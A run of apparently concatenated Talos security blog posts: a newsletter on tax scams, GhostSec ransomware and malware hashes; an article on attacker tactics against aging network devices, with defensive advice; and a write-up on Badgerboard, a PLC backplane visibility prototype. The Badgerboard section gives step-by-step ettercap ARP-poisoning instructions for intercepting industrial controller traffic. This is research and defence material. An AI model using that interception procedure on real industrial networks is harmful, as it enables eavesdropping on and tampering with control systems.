The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63140, 63141, 63142, 63144, 63145, 63152, 63153, 63155, 63156, 63161, 63162 and 63169 - 63170. There are also Snort 3 rules 300855, 300856 and 300858 - 300860.

You’re going to start seeing more tax-related spam, but remember, that doesn’t actually mean there’s more spam

You’re going to start seeing more tax-related spam, but remember, that doesn’t actually mean there’s more spam

It’s that time of the year when not only do you have to be worried about filing your federal taxes in the U.S., you must also be on the lookout for a whole manner of tax-related scams.  

These are something that pop up every year through email, texts, phone calls and even physical mail — phony promises to get your tax return back faster, file your taxes “easy and free” or maximizing your possible return. Usually, the bad actors behind these are either looking to steal your money or personal information.  

One scam from last year’s tax season could have cost consumers up to $5,000 in penalties for trying to claim a fraudulent tax credit.  

And it turns out this isn’t just a problem in the U.S., either. We published new research last week into a trojan malware that’s been infecting victims in Mexico with tax-related spam emails and other social engineering tactics.  

Many countries across the world all have tax filing deadlines around the same time — Japan’s is just around the corner on March 15, in the U.S. it’s April 15, and several countries (Brazil, Canada, Chile, etc.) all share an April 30 filing deadline. So, adversaries all over the globe are going to be leveraging tax-related topics in their spam emails and social engineering campaigns in the coming weeks, trying to steal money, infect devices with malware, or steal critical personal information. 

It’s important to remember that this isn’t “peak spam season” or anything, though, and it’s not the time to spread FUD that, “Oh, your inboxes are going to be flooded with spam!” 

As I’ve written and talked about before, there isn’t more spam during tax season, it’s just different. Think about the confirmation bias that pops up when you buy a new car, and then suddenly you start seeing that car everywhere else on the road when you didn’t notice it as much before.  

Talos’ telemetry indicates that spam hasn’t increased during tax filing season in the U.S. for many years, and attackers’ tactics largely stay the same: Try to create a convincing offer, document, or link, and try to convince the target to engage with that social engineering in some form.  

It’s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you’re in, but it’s not like you need to be particularly more skeptical in March and April than any other time of the year. As soon as the tax filing deadline comes and goes, attackers will just start looking for the next hot topic to include in their phishing emails — presidential primaries, summer vacation deals or fake Amazon gift cards. 

If you want to hear more about this, listen to the episode of Talos Takes on this topic from last year below. 

The one big thing 

An APT known as GhostSec has increased its ransomware activities over the past year and is now conducting “double extortion” ransomware attacks with fellow group Stormous. GhostSec and Stormous have also launched a new ransomware-as-a-service (RaaS) program STMX_GhostLocker and are actively recruiting new affiliates or members.  

Why do I care? 

Talos observed the GhostSec and Stormous ransomware groups operating together to conduct several double extortion attacks using the GhostLocker and StormousX ransomware programs against the victims in Cuba, Argentina, Poland, China, Lebanon, Israel, Egypt, Vietnam, Thailand and more nations, according to our assessment of the disclosure messages posted by the group in their Telegram channels and Stormous ransomware data leak site. This shows that the groups’ activities are not going to be contained just in one region or industry. RaaS has been a popular business model for many ransomware groups recently, which opens the door to other actors to use GhostSec’s tools by just paying them money.  

So now what? 

Talos has released new IOCs to provide defenders with new ways to block these ransomware actors. One of the implants GhostSec specifically relies on injects an admin bypass and hacking tool targeting the WordPress content management system. Any WordPress users should make sure their login credentials are up-to-date and strong and check their site to ensure there aren’t any illegitimate plugins or processes running on their site.  

Top security headlines of the week 

A fake ransomware gang calling itself “Mogilevich” admitted that they made up a claim that it had hacked video game developer Epic and stolen personal information and game source code. A leak page from the group claimed to have 200GB of data stolen from the company available for sale to other threat actors, or they would return the stolen information to Epic in exchange for a ransom payment. The group claimed it had "email, passwords, full name, payment information, source code and many other data." Epic immediately came forward sand said it had not detected any evidence of a hack or data breach. A few days after the claims went public, representatives from Mogilevich later came forward and called themselves “professional fraudsters” and they never hacked Epic’s network. Epic is known for the popular online platform and game “Fortnite.” The fraudsters also admitted that they had sold fake ransomware infrastructure to other would-be actors who wanted to carry out attacks themselves, including tricking one buyer out of $85,000. (Eurogamer, Cyber Daily

A popular series of white-label security cameras are littered with an array of security vulnerabilities that could allow adversaries to collect images from their cameras without users knowing. The cameras are manufactured by the same company, but sold under the labels of Eken and Tuck on popular websites like Amazon, Walmart, Sears and Temu. The doorbells also do not have a visible ID issued by the Federal Communications Commission (FCC) that’s normally required by the agency, which technically makes them illegal to distribute in the U.S., though many of them were still for sale as of late February. The vulnerabilities affect more than 10 different products, which are all controlled by the same app that’s available on the Android app store. All an adversary would need to do to exploit the vulnerabilities and spy on the camera would be to acquire the serial number — no notification is sent to the doorbell’s owner when there’s a new pairing, and the adversary doesn’t even need an account username or password. Retailers that list the cameras for sale did not respond to a request for comment from Consumer Reports, the outlet that performed the research. (Consumer Reports, TechCrunch

Payment systems across the U.S. health care system are offline, with many doctors having to switch to paper billing, after a massive data breach at Change Healthcare, a subsidiary of the UnitedHealth insurance company. Change Healthcare first disclosed the breach on Feb. 21 after adversaries disrupted operations for the company, which processes 15 billion health care-related transactions every year. Now the U.S. Department of Health and Human Services is urging health care systems and doctors who use Change to start developing alternatives, as they are unsure when systems will be back online. Change Healthcare is a system that connects doctors, hospitals and other health care providers with insurance companies to pay for medical care and authorize assorted services for patients. The follow-on effects have also been difficult on providers, who are now being faced with rent and other bills that they can’t pay because they still haven’t been paid by insurance companies. (USA Today, The New York Times

Can’t get enough Talos? 

 

Upcoming events where you can find Talos 

Botconf (April 23 - 26) 

Nice, Côte d'Azur, France

This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.

CARO Workshop 2024 (May 1 - 3) 

Arlington, Virginia

Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

RSA (May 6 - 9) 

San Francisco, California  

Most prevalent malware files from Talos telemetry over the past week  

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll 
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934 
MD5: 93fefc3e88ffb78abb36365fa5cf857c 
Typical Filename: Wextract 
Claimed Product: Internet Explorer 
Detection Name: W32.File.MalParent 

SHA 256: 9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc 
MD5: 4813fa6d610e180b097eae0ce636d2aa 
Typical Filename: xmrig.exe 
Claimed Product: XMRig 
Detection Name: Trojan.GenericKD.70491190 

SHA 256: a75004c0bf61a2300258d99660552d88bf4e1fe6edab188aad5ac207babcf421 
MD5: c44f8ef0bbaeee256bfb62561c2a17db 
Typical Filename: ggzokjcqkgcbqiaxoohw.exe 
Claimed Product: N/A  
Detection Name: Symmi:GenMalicious-tpd 

The 3 most common post-compromise tactics on network infrastructure

The 3 most common post-compromise tactics on network infrastructure

We’ve been discussing networking devices quite a lot recently and how Advanced Persistent Threat actors (APTs) are using highly sophisticated tactics to target aging infrastructure for espionage purposes. Some of these attacks are also likely prepositioning the APTs for future disruptive or destructive attacks. 

Talos has also observed several ransomware groups gaining initial access to networking devices to extort their victims. We wrote about these attacks in our 2023 Year in Review report. 

The mechanisms and methodology behind these two groups are drastically different, but no less concerning. This is partly because networking devices offer a great deal of access to an attacker. If you can compromise a router, you are highly likely to have a point of ingress into that network.  

These attacks are largely being carried out on aging network infrastructure; devices that have long since gone end-of-life, and/or have critical unpatched vulnerabilities sitting on them. Many of these older devices weren’t designed with security in mind. Traditionally, network infrastructure has sat outside of security’s ecosystem, and this makes monitoring network access attempts increasingly difficult. 

Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. 

Think of it like a burglar breaking into a house via the water pipes. They’re not using “traditional” methods such as breaking down doors or windows (the noisy smash-and-grab approach) — they’re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts (credit to my colleague Martin Lee for that analogy). 

In this blog, we explore how we got here, and the different approaches of APTs vs ransomware actors. We also discuss three of the most common post-compromise tactics that Talos has observed in our threat telemetry and Cisco Talos Incident Response (Talos IR) engagements. These include modifying the device’s firmware, uploading customized/weaponized firmware, and bypassing security measures. 

How we got here

There is a rich history of threat actors targeting network infrastructure — the most notorious example being VPNFilter in 2018. The attack was staged, but potential disaster was averted when the attacker’s command and control (C2) infrastructure was seized by the FBI, preventing the attacker from issuing the final command to take over the devices. 

At the time, we spoke about how VPNFilter was the “wakeup call that alerted the cybersecurity community to a new kind of state-sponsored threat — a vast network of compromised devices across the globe that could stow away secrets, hide the origins of attacks and shut down networks.” 

The techniques used in VPNFilter gives us plenty of clues as to possible current threat actor motivations. In the attack, the modular design of the malware allowed for many things to take place post compromise – one module even allowed the malware to create a giant Tor network of the 500,000 compromised devices.  

A recent attack which may have been inspired by this was the KV Botnet (Lumen released a blog about this in December 2023). The botnet was used to compromise devices including small and home office (SOHO) routers and firewalls and then chain them together, “to form a covert data transfer network supporting various Chinese state-sponsored actors including Volt Typhoon.”  

The Beers with Talos team recently spoke about the KV Botnet and Volt Typhoon, a group widely reported by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), Microsoft and other organizations to be a PRC-based state actor. They have been known to conduct long-term espionage activities and strategic operations that are potentially positioning them for future destructive/disruptive attacks. Listen to the episode below:

In 2019, we saw another type of modular malware that was designed to target network infrastructure: “Cyclops Blink.” This was dubbed the “Son of VPNFilter” because of the similarities to that campaign.

The Cyclops Blink malware was designed to run on Linux systems, specifically for 32-bit PowerPC architecture. It could be used in a variety of ways, including reconnaissance and espionage activity. It leveraged modules to facilitate various activities such as establishment of C2, file upload/download and data extraction capabilities.  

In 2022, Talos wrote about how we had detected compromised MikroTik routers inside of Ukraine being leveraged to conduct brute force attacks on devices protected by multi-factor authentication. This continued the pattern we have seen since our investigation into VPNFilter involving actors using MikroTik routers. 

APTs and cyber criminals have different goals for attacking network infrastructure. APTs want to go in with stealth and hide for espionage purposes. Criminal groups use edge devices to an end for ransomware purposes. 
The 3 most common post-compromise tactics on network infrastructure

For more insights into the status of attacks on network infrastructure, here is Talos’ Matt Olney and Nick Biasini talking about what Talos has observed over the past 18 months: 

Post compromise tactics and techniques

Compromising the network for persistent access and intelligence capture is a multi-step process and requires a lot of work and expertise in targeted technologies which is why we typically only see the most sophisticated threat actors carry out these attacks.  

Below are some techniques that Talos has observed post compromise on out-of-date networking equipment, in order to maintain persistent access. We initially discussed these in our threat advisory in April, as well as our 2023 Year in Review, but due to the sophisticated nature of these attacks and the continued exploitation, we wanted to dive deeper into some of these tactics: 

1) Modifying the firmware

Talos has observed APTs modifying network device firmware on older devices to add certain pieces of functionality, which will allow them to gain a greater foothold on the network. This could be adding implants or modifying the way the device captures information.  

An example of this is the recent exploitation of Cisco IOS XE Software Web Management User Interface. One attack included the deployment of an implant we called “BadCandy” which consisted of a configuration file (“cisco_service.conf”). The configuration file defined the new web server endpoint (URI path) used to interact with the implant. That endpoint receives certain parameters that allowed the actor to execute arbitrary commands at the system or IOS level.  

Another example is from September 2023, when CISA wrote about how BlackTech was observed modifying firmware to allow the installation of a modified bootloader which helps it to bypass certain security features (while creating a backdoor to the device). 

Detecting the modification of firmware is extremely difficult for defenders. Occasionally, there may be something in the logs to imply an upgrade and reboot, but turning off logging is usually one of the first steps attackers take once they are inside a network. 

This again highlights the need for organizations to sunset aging network infrastructure that isn’t secure by design, or, at the very least, increasing cybersecurity due diligence on older equipment such as configuration management. Performing configuration comparisons on firmware may help to highlight when it has been altered by an adversary.  

2) Uploading customized/weaponized firmware

If threat actors cannot modify the existing firmware, or they need additional levels of access that they don’t currently have, adversaries can upload customized or old firmware they know have working exploits against it (in effect, reverting to an older version of the firmware).  

Once the weaponized firmware has been uploaded, they reboot the device, and then exploit the vulnerability that is now unpatched. This now provides the threat actor with a box that can be modified with additional functionality, to exfiltrate data, for example. 

Again, as with the modification of firmware tactic, it’s important to check your network environment for unauthorized changes. These types of devices need to be watched very closely, as threat actors will want to try and prevent system administrators from seeing the activity by turning off logging. If you’re looking at your logs and it looks like someone has actually turned off logging, that is a huge red flag that your network has been infiltrated and potentially compromised. 

3) Bypassing or removing security measures

Talos has also seen threat actors take measures to remove anything blocking their access to fulfil their goals. If for example they want to exfiltrate data, but there’s an access control list (ACL) that blocks the actor from being able to access the host, they may modify the ACL or remove it from the interface. Or they may install operating software that knows to not apply ACLs against certain actor IP addresses, regardless of the configuration. 

Other security measures that APTs will attempt to subvert include disabling remote logging, adding user accounts with escalated privileges, and reconfiguring SNMP community strings. SNMP is often overlooked, so we recommend having good, complex community strings and upgrading to SNMPv3 where possible. Ensure that your management of SNMP is only permitted to be done from the inside and not from the outside.  

The BadCandy campaign is a good example of how an actor can remove certain security measures. The adversary was able to create miniature servers (virtualized computers) inside of compromised systems which created a base of operations for them. This allowed the threat actors to intercept and redirect traffic, as well as add and disable user accounts. This meant that even if the organization were to reboot the device and erase the active memory, the adversary would still have persistent accounts – effectively a consistent back door.  

Additional campaign objectives

In our original threat advisory, we also posted a non-exhaustive list of the type of activities Talos has observed threat actors take on network infrastructure devices. The point behind this is that threat actors are taking the type of steps that someone who wants to understand (and control) your environment.  

Examples we have observed include threat actors performing a “show config,” “show interface,” “show route,” “show arp table” and a “show CDP neighbor.” All these actions give the attackers a picture of a router’s perspective of the network, and an understanding of what foothold they have. Other campaign objectives include: 

  • Creation of hub-and-spoke VPNs designed to allow the siphoning of targeted traffic from network segments of interest through the VPN. 
  • The capture of network traffic for future retrieval, frequently limited to specific IPs or protocols. 
  • The use of infrastructure devices to deliver attacks or maintain C2 in various campaigns. 
Read more about campaign objectives 

Recommendations

The first thing to say when it comes to recommendations is that if you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices.  

To combat the threat of aging network infrastructure as a target, Cisco became a founding member of the Network Resilience Coalition. Along with other vendors in this space and key governmental partners, the group is focussed on threat research and recommendations for defenders. The initial report from the Network Resilience Coalition was published at the end of January 2024 and contains a broad set of recommendations for both consumers of networking devices and product vendors. 

Earlier this month, Cisco’s Head of Trust Office Matt Fussa wrote about how organizations should view these recommendations, and the overall threat that end-of-life network infrastructure poses on a national security level.  

The report from the Network Resilience Coalition contains an in depth set of recommendations for network infrastructure defense. Here is a brief summary: 

Key recommendations from the report for network product vendors include: 

  • Align software development practices with the NIST Secure Software Development Framework (SSDF). 
  • Provide clear and concise details on product “end-of-life,” including specific date ranges and details on what support levels to expect for each. 
  • Separate critical security fixes for customers and not bundle those patches with new product features or functionality changes. 
  • Get involved in the OpenEoX effort in OASIS, a cross-industry effort to standardize how end-of-life information is communicated and provide it in a machine-readable format. 

Purchasers of network products should: 

  • Favor vendors that are aligned with the SSDF, provide you with clear end-of-life information, and provide you with separate critical security fixes. 
  • Increase cybersecurity diligence (vulnerability scanning, configuration management) on older products that are outside of their support period. 
  • Periodically ensure that product configuration is aligned with vendor recommendations, with increasing frequency as products age, and ensure implementation of timely updates and patches. 

As the report says, “These recommendations, if broadly implemented, would lead to a more secure and resilient global network infrastructure and help better protect the critical infrastructure that people rely on for their livelihood and well-being.”  

From a Talos perspective, we are keen to re-emphasize this point and help our customers transition from equipment that has become end-of-life. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered. 

Proactive threat hunting is also one of the ways that organizations can root out visibility gaps and hints of incursion. Look for things like VPN tunnels, or persistent connections that you don't recognise. This is the type of thing that will be left in an attack of this nature.  

And finally, the definition of post compromise means that the attacker had gained some form of credentials to get them to the place where they could then launch the exploit and get deeper access to the device.  

Our recommendations are to select complex passwords and community strings, use SNMPv3 or subsequent versions, utilize MFA where possible, and require encryption when configuring and monitoring devices. Finally, we recommend locking down and aggressively monitoring credential systems like TACACS+ and any jump hosts. 

Additional resources

State-sponsored campaigns target global network infrastructure (Talos blog)  

Network Resilience: Accelerating Efforts to Protect Critical Infrastructure (Cisco blog) 

Network Resilience Coalition: Full report 

Securing Network Infrastructure Devices (CISA) 

The VPN Filter catastrophe that wasn’t 

Cisco Trust Center: Network Resilience 

Badgerboard: A PLC backplane network visibility module

Badgerboard: A PLC backplane network visibility module

Analysis of the traffic between networked devices has always been of interest since devices could even communicate with one another. 

As the complexity of networks grew, the more useful dedicated traffic analysis tools became. Major advancements have been made over the years with tools like Snort or Wireshark, but these tools are only useful when accurate information is provided to them. By only sending a subset of the information being passed across a network to monitoring tools, analysts will be provided with an incomplete picture of the state of their network. 

This is a problem on nearly all the backplane networks to which most PLCs are attached. Oftentimes, the Ethernet traffic traversing the network can be captured and analyzed, but any non-standard or proprietary communication is often missed. This is the problem that we set out to address with Badgerboard, a new proof-of-concept tool designed to expose previously inaccessible backplane traffic and allow OT network operators to have a better understanding of the current state of their network.

Current state of visibility

Gaining visibility into the goings-on of a backplane network is not a new problem, nor is it impossible. It just requires some extra work to get beyond the easy-to-access information if a fuller picture of that network is desired. 

Span ports

Many PLCs and their associated networking modules already contain an Ethernet port that can be configured as a span port for analysis of traffic on the backplane. The issue encountered here is that these span ports only provide visibility into the Ethernet traffic, which is not necessarily all of the device-to-device traffic occurring on the backplane. 

WeaselBoard

In 2013, the Sandia National Laboratory released a technical report detailing their work on a project referred to as “WeaselBoard.” This was a physical module that would attach to a supported backplane to provide visibility into traffic that was otherwise not available for analysis. It boasted zero-day protection for PLCs mounted on the Allen Bradley ControlLogix 5000 Backplane and the S7-300 Backplane, accomplished by analyzing changes in the underlying system. 

Additional information on the WeaselBoard project can be found on the Sandia National Laboratory project site.

Developing Badgerboard

Before diving into the technical details of how Badgerboard came to be it seems pertinent to set the stage for both what this project is, and more importantly, what it is not. 

Badgerboard was intended as a proof-of-concept research project to show that expanding the visibility of the backplane is feasible. Due to the nature of our day-to-day work, Badgerboard was never intended to be, and is not currently considered, a fully engineered solution, a generic solution, or even actively supported. We hope that this project will serve as a call to arms for customers to demand more advanced and more complete monitoring solutions from their vendors. 

Modicon M580 and the X80 backplane

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to enforce various security configurations quickly. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.” 

The X80 Backplane is the piece of hardware on which the Modicon M580 gets mounted, allowing for high-speed communication with other compatible modules. 

We chose this setup for a couple of reasons: We were familiar with the controller and the associated EcoStruxure environment due to some prior work and this equipment provided a good baseline for top-end equipment at the time. It is important to note that the underlying issue addressed with Badgerboard is not unique to the M580 or Schneider Electric. This is an industry-wide issue that we are simply demonstrating on the chosen equipment due to availability and familiarity.

X80 backplane hardware analysis

The ports exposed by the backplane for modules are set up in pairs of receptacles, one for Ethernet communications and one for XBus communications.

Badgerboard: A PLC backplane network visibility module

When a module is placed onto the backplane, it can connect to either one or both of the available receptacles. In the case of the CPU module, both are connected. This plug on the backplane communications board matches nicely with the Molex 15922040 Plug, shown below.

Badgerboard: A PLC backplane network visibility module
https://www.mouser.com/ProductDetail/Molex/15-92-2040?qs=ZwgtpdmWYYRx1M2EjzLg7w%3D%3D

Ethernet

Since the CPU module has an ethernet port, it can be used to determine the pins used for Ethernet.

CPU Module Analysis

The CPU module is made up of three parts: the external communications board (left), the processing board (right), and a backplane communications board (center). The external communications board and the processing board connect to the backplane communications board, which then connects directly to the backplane.

Badgerboard: A PLC backplane network visibility module

On the external communications board, there are three RJ-45 ports (shown in red) that each connect to a signal transformer (shown in yellow) followed by the switch chip (shown in purple), and finally, out to the backplane communications board through the wafer connector (shown in green).

Badgerboard: A PLC backplane network visibility module

When connected to the backplane communications board, ethernet traffic is connected to another signal transformer (shown in yellow) by traces that are not visible on the board. The signal transformer then connects to four pins (shown with red traces) on the bottom side of the plug (outlined in gray)

Badgerboard: A PLC backplane network visibility module
Badgerboard: A PLC backplane network visibility module

Signal transformer analysis

We determined the pinout by looking at the datasheet for the signal transformer. Since the transformer only supports 100Base-Tx communications, only four wires are necessary. Looking at the example application circuit, we see that the pins are mapped out as follows:

Badgerboard: A PLC backplane network visibility module
https://media.digikey.com/pdf/Data%20Sheets/Pulse%20PDFs/10_100BASE-T%20Single%20Port%20SMD%20Magnetics_Rev2008.pdf

Determination of which wires to use can be found in the TIA/EIA-568 T568B termination pinout.

Badgerboard: A PLC backplane network visibility module
https://ipnet.xyz/2009/05/category-6-utp/

Pinout

Using this information, we can connect a standard Cat5e ethernet cable to the pins marked below and inspect traffic just like we were on any other Ethernet network. 

Badgerboard: A PLC backplane network visibility module

Traffic analysis

Getting on the backplane network

Using the pinout discussed in the Hardware Analysis section above, it is possible to make a cable that connects to the backplane with the following steps:

  1. Get an Ethernet cable wired to TIA/EIA-568 T568B.
  2. Cut off one end and strip the casing to expose the twisted pairs.
  3. Strip the casing for the green, white-green, orange, and white-orange wires. 
  4. Solder the wires as shown above.
  5. Make sure the backplane is powered off.
  6. Plug in the cable.
  7. Power on the backplane.

Once physically connected, give yourself an IP in the 192.168.10.2-253 range. When successful, Wireshark should show (among other things) a ton of ARP traffic.

It is likely that, by default, there will be some network connectivity problems. This can be verified by attempting to ping 192.168.10.1. If the host is not accessible at that address, there is likely a VLAN conflict. A variation of the following commands will likely help:
ifconfig eth0 0.0.0.0 up
vconfig add eth0 1
ifconfig eth0.1 192.168.10.201/16 up

Intercepting traffic

Once on the network, it is possible to see Layer 2 traffic and anything destined for or originating from you. Since there isn't a span port (that we know about), an arp poisoning attack can be used to intercept traffic.

While connected to the backplane, do the following:

  1. Start ettercap
  2. Go to Sniff > Unified Sniffing and choose eth0.1 (or whatever interface you've configured)
  3. Go to Hosts > Scan for hosts
    1. This will populate a list of available targets to poison
  4. Go to Hosts > Host List
  5. Pick the desired targets and add them to BOTH Target1 and Target2
  6. Go to Mitm > Arp Poisoning
  7. Watch in Wireshark
Badgerboard: A PLC backplane network visibility module
Badgerboard: A PLC backplane network visibility module

XBus

Using one of these same plugs, it is possible to wire a method for extracting XBus communication via the backplane. Once on the bus, it is possible to see all the traffic being sent on that bus. This can be done with a logic analyzer, and once the traffic is intercepted, it is time to move on to analysis.

The Bus

Basic communication on the XBus requires the use of four important lines. They are broken out as follows:

Activation Pin

Must be pulled high for the port to be considered active and receive messages [Active High]

Control Pin

Slow messages that say who is talking on the bus, and likely what kind of message is next

RX Clock

This is the pin for the bus clock, any module can be driving the clock depending who is active on the bus at any given time [Active High]

RX Data

This is the pin for the bus data, any module can be driving the data depending who has claimed the bus at any given time [Active Low]

Badgerboard: A PLC backplane network visibility module

Activation pin

Once the pinout has been identified, it is fairly simple to start capturing traffic. The ACTIVE pin must be pulled high, ideally through a low-resistance resistor to not degrade the signal. In the image below, we are using a 470Ω pullup.

Badgerboard: A PLC backplane network visibility module

Control pin

The CONTROL traffic is always visible — even if the port is not considered active to the backplane — which can be an easy way to orient yourself to the provided pinout. This signal is significantly slower than the bus speed: These are presumably clocked at around 500 kHz, but more analysis needs to be done on these messages to determine their use. 

The difficulty here is that these messages are most likely directly related to the physical network protocol and thus, are handled directly by the FPGAs that implement XBus. This makes it difficult, if not impossible, to track down any concrete definition of the purpose of these messages.

Badgerboard: A PLC backplane network visibility module

These control messages seem to be linked to the claiming/releasing of the shared bus and the device address that is claiming/releasing the bus. We specifically tested that some form of the address is sent in this message, but can't completely test for field size and all possibilities.

Receive clock

The RX_CLK is how all modules keep track of data being sent on the shared RX_DATA pin. This clock is driven by the currently active device and could change (although we have not seen it, this is always 12 MHz in our testing). This clock is shared with all of the active ports on the backplane.

Badgerboard: A PLC backplane network visibility module

There are a few important features of this clock that cause some design issues down the road but can also be leveraged for a unique solution. The clock is completely inactive when a module is not talking (seen at the end of the previous image). This inactivity means this clock is not great for clocking a hardware module (since it wouldn't run when the clock is inactive). The benefit of this is that it shows us hard message separations as the module will drive the clock to deactivate the clock before sending a new message. This can be seen here as the CONTROL line has no new messages sent, while the clock is very obviously deactivated for a time before reactivating and continuing to send data.

Badgerboard: A PLC backplane network visibility module

Another unique challenge of this clock is the high speed that it operates at, roughly 12 MHz which means dedicated hardware, and no use of slow communication protocols such as UART.

Badgerboard: A PLC backplane network visibility module

This high-speed clock drove a lot of the design constraints we had in the hardware implementation that will be discussed in later sections.

Receive data

The RX_DATA pin is used by all modules to read data from the active module. This is an active low signal which is unique due to the RX_CLK and CONTROL pins all being active high. The data is read at the rising edge of the RX_CLK. This data seemingly has roughly five clock cycles before data is seen for a valid message which explains the starting value of messages always being 0x04 or 0x05 (five 0 bits)

Badgerboard: A PLC backplane network visibility module

Programmatically sniffing XBus traffic

Inspecting the XBus with a logic analyzer, while functional, is not a feasible solution for ongoing analysis. To this end, we needed a programmatic solution to do this work for us and present the information in an easy-to-digest format.

Hardware constraints

At this point, there is a pretty restrictive set of constraints in place for a solution:

  • Must be as close to "real-time" as possible.
    • This means no "slow protocols" such as UART (1-3 MHz in most commercial chips).
    • We have to measure at least 12 MHz. If we take a conservative speed to properly sample, we have to run at a speed of at least 48 MHz.
  • Must be on the backplane, ideally not between devices and the backplane. 
  • We can't rely on the backplane clock due to it turning off regularly.
  • We have to get the data into something Snort can detect.

After considering our options, we decided to approach the problem with a hardware solution and chose Artix-7 FPGAs as a reasonable platform to develop on.

Hardware Approach 1: Failure

The initial solution was to ignore UART limitations (which were unknown at the time) and build a hardware solution that shipped data over UART directly from the backplane, one byte at a time. While the extraction of data from the backplane was successful, UART was a massive bottleneck and killed any semblance of real-time data detection into Snort.

Hardware Approach 2: Our Solution

Overview

The hardware design is as follows:

Badgerboard: A PLC backplane network visibility module

This is a Microblaze processor which is included in Vivado. It is clocked at 83.333 MHz (higher than our required 48 MHz). Our physical inputs are on the left side of the image. sys_clock and reset are provided by the board itself. ext_clock, ext_data and backplane_rst are all inputs. ext_clock is connected to RX_CLK from the backplane, ext_data is connected to RX_DATA, and backplane_rst is connected to a dip switch on the Arty-A7 to purge all of the buffers during operation (this is mostly just for testing and troubleshooting).

This Microblaze processor includes UART, and Ethernet, as well as a simple timer peripheral. This allows us to use the 10/100 Ethernet module as our communication output.

The most important part of this design is to note the BackplaneReader_AXIL and the connection of the dataReady_interrupt back to the Concat block entering the interrupt controller. This interrupt signals the Microblaze processor when data is ready to be read from the backplane and be sent out over the network to the listening process for further processing.

The general flow of data is as follows:

  • Bits recorded at the rising edge of RX_CLK, bits are shifted into a single byte.
  • Once a byte is captured, a flag is set to signal that the byte is ready for transfer.
  • When the flag is set, the byte is shifted into a 4-byte buffer, and a counter is incremented.
  • Every time the counter modulo 4 equals 0, the 4-byte buffer is written to the AXIL register of the correct index, and the buffer accepts new bytes.
  • This loops until the RX_CLK goes inactive (high) for more than 80 clock cycles (83.333 MHz clock cycles) we trigger the interrupt to the CPU which then sends the data to the network using zero-copy for performance.

Module descriptions

These modules are the building blocks of Verilog. One can look at them as something like functions in normal programming languages. These building blocks will be covered from the smallest (most basic) to the largest (most complex). They will include whether they are building on previous modules or not.

clock_reset

This is a very simple module that runs at the high-speed hardware clock (83.333 MHz for our example) to sample the slower backplane clock (12 MHz). It takes a parameter of a comparison value and this is used to check how many fast clock cycles the backplane clock has been high. This module is instantiated in two forms, a fast form and a slow form. The slow form (80 counts) is to determine when a message is completely done and the backplane clock goes inactive for a "long" time. The fast form (five counts) is used to group fragmented messages. This is purely for performance that was required to get all the messages out of the processor before the next interrupt occurred.

Previous to this grouping of messages (which always seem to be related in our testing, specifically we see this in UMAS messages that get fragmented across multiple XBus messages), the Microblaze processor was operating too slowly to get messages out via UDP before another interrupt occurred, this caused issues with memory leaks (before zero-copy implementation), but also causes us to lose packets, because the UDP messages are all so small (roughly 48 bytes of data) we decided to start combining packets to reduce the overhead of moving the packets to the NIC and sending them. This is a possible performance bottleneck that could be improved.

sample_output

This module builds on the clock_reset modules. Specifically, this module is responsible for sampling bits from the ext_data input, which is RX_DATA from the backplane. It does this sample by shifting inverted bits (because this signal is active low) into a one-byte buffer and incrementing a counter. Once that counter hits eight, we have a full byte and we set a flag showing that the byte is ready to be sampled. We have to do this buffering because we are crossing a clock domain at this point, from the backplane (12 MHz) to the FPGA/CPU's clock (83.333 MHz).

This module is also responsible for tracking the output of the fast and slow clock_reset modules. When these clock deactivations are set, two different things happen. When the fast clock_reset is set, the byte buffer counter is reset, which means we are starting a new byte. The issue this resolves is when you have multiple messages before a slow clock_reset and you have bits that don't belong to a real byte. The RX_CLK is active beyond the end of the last bit of real data, for roughly five clock cycles (it changes) which causes garbage data to be collected. This fast reset will clear our bit counter and we will overwrite the garbage data with valid data for the next message. The slow clock_reset is when a backplane module is done talking. This rests the counter, deactivates all logic (so we aren't recording garbage data), purges the one-byte buffer and resets the clock rising-edge detector. Once the slow clock_reset signal is unset, it resumes normal operation of detecting bits on the rising edge, and recording them.

Between this module and clock_reset this performs the physical, bit-by-bit processing of the backplane data. and is somewhat simple and easy to understand, all the modules above this are used for buffer, clock domain changes, processor interfacing, and ease-of-use.

BackplaneReader_AXILite_v1_0_S00_AXI

